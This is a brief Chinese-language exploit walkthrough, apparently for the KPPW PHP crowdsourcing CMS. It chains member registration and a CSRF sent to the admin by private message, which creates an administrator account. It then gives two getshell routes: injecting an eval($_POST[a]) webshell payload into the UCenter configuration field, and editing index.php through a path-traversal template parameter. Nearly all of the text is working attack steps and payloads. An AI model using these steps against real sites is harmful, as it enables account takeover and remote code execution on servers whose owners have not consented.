​

    1.注冊會員

    2，

    http://127.0.0.1/index.php?do=user&view=message&msg_type=write

    3，發(fā)送給admin，下面是csrf，目的是加一個(gè)管理員，賬戶kppw 密碼kppwkppw

    ​

    4，getshell方法有兩個(gè)

    (1)gpc off 全局配置 會員整合 UCENTER 編碼 修改為');eval($_POST[a])?>;

    連接http://127.0.0.1/config/config_ucenter.php

    （2）

    http://127.0.0.1/control/admin/index.php?do=tpl&view=edit_tpl&tplname=default&tname=../../index.php